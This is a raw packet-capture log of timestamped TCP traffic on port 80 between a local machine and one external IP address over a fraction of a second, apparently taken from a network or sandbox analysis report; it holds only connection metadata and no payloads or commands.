Oct 29, 2024 20:36:09.689358950 CET	80	49981	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:09.689369917 CET	80	49981	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:09.689376116 CET	80	49981	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:09.689393997 CET	49981	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:36:09.689440012 CET	49981	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:36:09.689551115 CET	80	49981	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:09.689564943 CET	80	49981	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:09.689577103 CET	80	49981	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:09.689588070 CET	80	49981	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:09.689598083 CET	80	49981	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:09.689615965 CET	80	49981	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:09.689629078 CET	80	49981	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:09.689640999 CET	80	49981	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:09.689655066 CET	49981	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:36:09.689713955 CET	49981	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:36:09.689807892 CET	80	49981	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:09.689817905 CET	80	49981	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:09.689827919 CET	80	49981	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:09.689845085 CET	80	49981	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:09.689856052 CET	80	49981	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:09.689865112 CET	80	49981	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:09.689876080 CET	80	49981	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:09.689888000 CET	80	49981	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:09.689898014 CET	80	49981	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:09.689902067 CET	49981	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:36:09.689944983 CET	80	49981	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:09.689956903 CET	80	49981	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:09.689966917 CET	80	49981	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:09.689971924 CET	49981	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:36:09.689979076 CET	80	49981	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:09.689991951 CET	80	49981	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:09.690077066 CET	80	49981	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:09.690078974 CET	49981	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:36:09.690078974 CET	49981	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:36:09.690123081 CET	49981	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:36:09.690130949 CET	80	49981	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:09.690144062 CET	80	49981	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:09.690154076 CET	80	49981	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:09.690165997 CET	80	49981	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:09.690212011 CET	49981	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:36:09.690228939 CET	49981	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:36:09.690279007 CET	80	49981	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:09.690289021 CET	80	49981	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:09.690298080 CET	80	49981	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:09.690310001 CET	80	49981	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:09.690351963 CET	80	49981	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:09.690359116 CET	49981	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:36:09.690365076 CET	80	49981	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:09.690373898 CET	49981	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:36:09.690377951 CET	80	49981	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:09.690392017 CET	80	49981	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:09.690402031 CET	80	49981	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:09.690412045 CET	49981	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:36:09.690412998 CET	80	49981	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:09.690435886 CET	49981	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:36:09.690458059 CET	49981	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:36:09.690557003 CET	80	49981	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:09.690568924 CET	80	49981	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:09.690577984 CET	80	49981	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:09.690589905 CET	80	49981	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:09.690601110 CET	80	49981	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:09.690612078 CET	80	49981	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:09.690633059 CET	49981	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:36:09.690664053 CET	49981	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:36:09.690737963 CET	80	49981	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:09.690749884 CET	80	49981	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:09.690759897 CET	80	49981	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:09.690771103 CET	80	49981	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:09.690783024 CET	80	49981	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:09.690794945 CET	80	49981	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:09.690809011 CET	49981	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:36:09.690851927 CET	49981	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:36:09.690864086 CET	80	49981	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:09.690876007 CET	80	49981	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:09.690885067 CET	80	49981	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:09.690896034 CET	80	49981	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:09.690911055 CET	49981	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:36:09.690918922 CET	80	49981	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:09.690942049 CET	49981	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:36:09.691010952 CET	49981	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:36:09.691450119 CET	80	49981	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:09.691530943 CET	49981	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:36:09.691574097 CET	80	49981	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:09.691648006 CET	49981	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:36:09.691735983 CET	80	49981	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:09.691812992 CET	49981	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:36:09.691816092 CET	80	49981	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:09.691889048 CET	49981	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:36:09.691981077 CET	80	49981	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:09.692053080 CET	80	49981	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:09.692056894 CET	49981	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:36:09.692121029 CET	80	49981	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:09.692133904 CET	80	49981	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:09.692138910 CET	49981	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:36:09.692162037 CET	49981	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:36:09.692188978 CET	49981	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:36:09.693959951 CET	80	49981	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:09.693974972 CET	80	49981	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:09.693990946 CET	80	49981	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:09.694003105 CET	80	49981	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:09.694093943 CET	80	49981	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:09.694106102 CET	80	49981	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:09.694117069 CET	80	49981	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:09.694129944 CET	80	49981	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:09.694139957 CET	80	49981	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:09.694150925 CET	80	49981	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:09.694164038 CET	80	49981	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:09.694176912 CET	80	49981	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:09.694190025 CET	49981	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:36:09.694283009 CET	49981	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:36:09.694423914 CET	80	49981	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:09.694434881 CET	80	49981	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:09.694444895 CET	80	49981	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:09.694456100 CET	80	49981	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:09.694467068 CET	80	49981	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:09.694480896 CET	80	49981	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:09.694493055 CET	80	49981	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:09.694499016 CET	49981	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:36:09.694505930 CET	80	49981	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:09.694518089 CET	80	49981	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:09.694528103 CET	80	49981	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:09.694535971 CET	49981	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:36:09.694540024 CET	80	49981	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:09.694551945 CET	49981	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:36:09.694564104 CET	80	49981	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:09.694580078 CET	80	49981	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:09.694586992 CET	49981	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:36:09.694591999 CET	80	49981	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:09.694608927 CET	49981	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:36:09.694612026 CET	80	49981	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:09.694622993 CET	80	49981	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:09.694636106 CET	80	49981	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:09.694644928 CET	49981	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:36:09.694650888 CET	80	49981	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:09.694669008 CET	80	49981	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:09.694684982 CET	80	49981	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:09.694686890 CET	49981	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:36:09.694695950 CET	80	49981	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:09.694705963 CET	80	49981	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:09.694717884 CET	80	49981	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:09.694729090 CET	80	49981	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:09.694730043 CET	49981	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:36:09.694740057 CET	49981	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:36:09.694740057 CET	80	49981	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:09.694751978 CET	80	49981	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:09.694775105 CET	49981	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:36:09.694782019 CET	80	49981	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:09.694797993 CET	49981	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:36:09.694798946 CET	80	49981	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:09.694813013 CET	80	49981	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:09.694818974 CET	49981	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:36:09.694823980 CET	80	49981	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:09.694834948 CET	80	49981	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:09.694845915 CET	80	49981	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:09.694856882 CET	80	49981	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:09.694864988 CET	49981	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:36:09.694869995 CET	80	49981	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:09.694881916 CET	80	49981	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:09.694894075 CET	80	49981	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:09.694902897 CET	49981	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:36:09.694911003 CET	80	49981	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:09.694921970 CET	80	49981	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:09.694931030 CET	80	49981	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:09.694941998 CET	80	49981	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:09.694945097 CET	49981	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:36:09.694952965 CET	80	49981	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:09.694960117 CET	49981	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:36:09.694964886 CET	80	49981	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:09.694977045 CET	80	49981	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:09.694987059 CET	80	49981	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:09.694988966 CET	49981	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:36:09.694999933 CET	80	49981	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:09.695012093 CET	49981	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:36:09.695014000 CET	80	49981	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:09.695028067 CET	80	49981	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:09.695036888 CET	49981	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:36:09.695039988 CET	80	49981	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:09.695053101 CET	80	49981	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:09.695060968 CET	49981	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:36:09.695065022 CET	80	49981	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:09.695082903 CET	80	49981	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:09.695084095 CET	49981	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:36:09.695107937 CET	49981	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:36:09.695116997 CET	80	49981	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:09.695127010 CET	80	49981	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:09.695137024 CET	80	49981	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:09.695141077 CET	49981	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:36:09.695152998 CET	80	49981	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:09.695177078 CET	49981	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:36:09.695249081 CET	49981	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:36:09.695276022 CET	80	49981	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:09.695287943 CET	80	49981	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:09.695365906 CET	49981	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:36:09.695462942 CET	80	49981	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:09.695480108 CET	80	49981	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:09.695491076 CET	80	49981	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:09.695496082 CET	80	49981	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:09.695506096 CET	80	49981	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:09.695517063 CET	80	49981	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:09.695540905 CET	49981	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:36:09.695580959 CET	49981	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:36:09.695611000 CET	80	49981	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:09.695658922 CET	49981	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:36:09.695750952 CET	80	49981	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:09.695760965 CET	80	49981	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:09.695771933 CET	80	49981	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:09.695779085 CET	80	49981	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:09.695790052 CET	80	49981	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:09.695825100 CET	49981	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:36:09.695873976 CET	49981	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:36:09.696083069 CET	80	49981	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:09.696095943 CET	80	49981	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:09.696105957 CET	80	49981	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:09.696158886 CET	49981	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:36:09.696182013 CET	49981	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:36:09.696225882 CET	80	49981	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:09.696242094 CET	80	49981	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:09.696252108 CET	80	49981	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:09.696263075 CET	80	49981	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:09.696273088 CET	80	49981	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:09.696284056 CET	80	49981	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:09.696290970 CET	49981	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:36:09.696300030 CET	80	49981	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:09.696322918 CET	49981	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:36:09.696396112 CET	80	49981	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:09.696398020 CET	49981	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:36:09.696407080 CET	80	49981	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:09.696475029 CET	49981	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:36:09.696559906 CET	80	49981	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:09.696572065 CET	80	49981	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:09.696634054 CET	49981	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:36:09.696672916 CET	49981	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:36:09.696721077 CET	80	49981	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:09.696738005 CET	80	49981	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:09.696748972 CET	80	49981	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:09.696758986 CET	80	49981	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:09.696788073 CET	49981	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:36:09.696822882 CET	49981	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:36:09.697221041 CET	80	49981	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:09.697232962 CET	80	49981	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:09.697242022 CET	80	49981	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:09.697252989 CET	80	49981	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:09.697263002 CET	80	49981	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:09.697273016 CET	80	49981	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:09.697297096 CET	49981	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:36:09.697331905 CET	49981	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:36:09.697437048 CET	80	49981	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:09.697448015 CET	80	49981	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:09.697526932 CET	49981	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:36:09.697768927 CET	80	49981	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:09.697779894 CET	80	49981	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:09.697840929 CET	49981	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:36:09.697876930 CET	49981	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:36:09.697902918 CET	80	49981	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:09.697913885 CET	80	49981	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:09.697923899 CET	80	49981	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:09.697933912 CET	80	49981	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:09.697953939 CET	49981	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:36:09.697999001 CET	49981	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:36:09.698421955 CET	80	49981	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:09.698431969 CET	80	49981	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:09.698446989 CET	80	49981	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:09.698457956 CET	80	49981	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:09.698470116 CET	80	49981	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:09.698482037 CET	80	49981	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:09.698493004 CET	80	49981	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:09.698504925 CET	80	49981	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:09.698508024 CET	49981	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:36:09.698515892 CET	80	49981	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:09.698528051 CET	80	49981	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:09.698545933 CET	49981	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:36:09.698573112 CET	80	49981	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:09.698576927 CET	49981	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:36:09.698589087 CET	80	49981	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:09.698604107 CET	80	49981	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:09.698616028 CET	49981	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:36:09.698620081 CET	80	49981	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:09.698631048 CET	80	49981	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:09.698642969 CET	80	49981	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:09.698653936 CET	80	49981	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:09.698652983 CET	49981	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:36:09.698668957 CET	80	49981	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:09.698710918 CET	49981	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:36:09.698719978 CET	80	49981	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:09.698741913 CET	49981	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:36:09.698779106 CET	49981	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:36:09.698880911 CET	80	49981	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:09.698895931 CET	80	49981	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:09.698906898 CET	80	49981	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:09.698916912 CET	80	49981	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:09.698929071 CET	80	49981	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:09.698937893 CET	80	49981	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:09.698954105 CET	49981	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:36:09.699003935 CET	49981	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:36:09.699063063 CET	80	49981	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:09.699078083 CET	80	49981	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:09.699091911 CET	80	49981	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:09.699105024 CET	80	49981	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:09.699126959 CET	49981	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:36:09.699167013 CET	49981	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:36:09.699220896 CET	80	49981	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:09.699230909 CET	80	49981	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:09.699239969 CET	80	49981	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:09.699245930 CET	80	49981	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:09.699253082 CET	80	49981	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:09.699263096 CET	80	49981	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:09.699275017 CET	80	49981	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:09.699290037 CET	49981	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:36:09.699338913 CET	49981	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:36:09.699378967 CET	80	49981	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:09.699450016 CET	80	49981	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:09.699455976 CET	80	49981	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:09.699461937 CET	80	49981	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:09.699563026 CET	49981	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:36:09.699644089 CET	80	49981	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:09.699655056 CET	80	49981	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:09.699666977 CET	80	49981	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:09.699677944 CET	80	49981	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:09.699690104 CET	80	49981	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:09.699711084 CET	80	49981	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:09.699714899 CET	49981	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:36:09.699728966 CET	80	49981	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:09.699743986 CET	49981	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:36:09.699769974 CET	49981	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:36:09.699949980 CET	80	49981	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:09.699961901 CET	80	49981	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:09.699970961 CET	80	49981	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:09.699981928 CET	80	49981	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:09.699994087 CET	80	49981	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:09.700020075 CET	49981	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:36:09.700048923 CET	49981	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:36:09.700109959 CET	80	49981	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:09.700122118 CET	80	49981	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:09.700131893 CET	80	49981	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:09.700135946 CET	80	49981	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:09.700146914 CET	80	49981	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:09.700158119 CET	80	49981	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:09.700169086 CET	80	49981	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:09.700180054 CET	49981	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:36:09.700228930 CET	49981	80	192.168.2.7	185.215.113.16
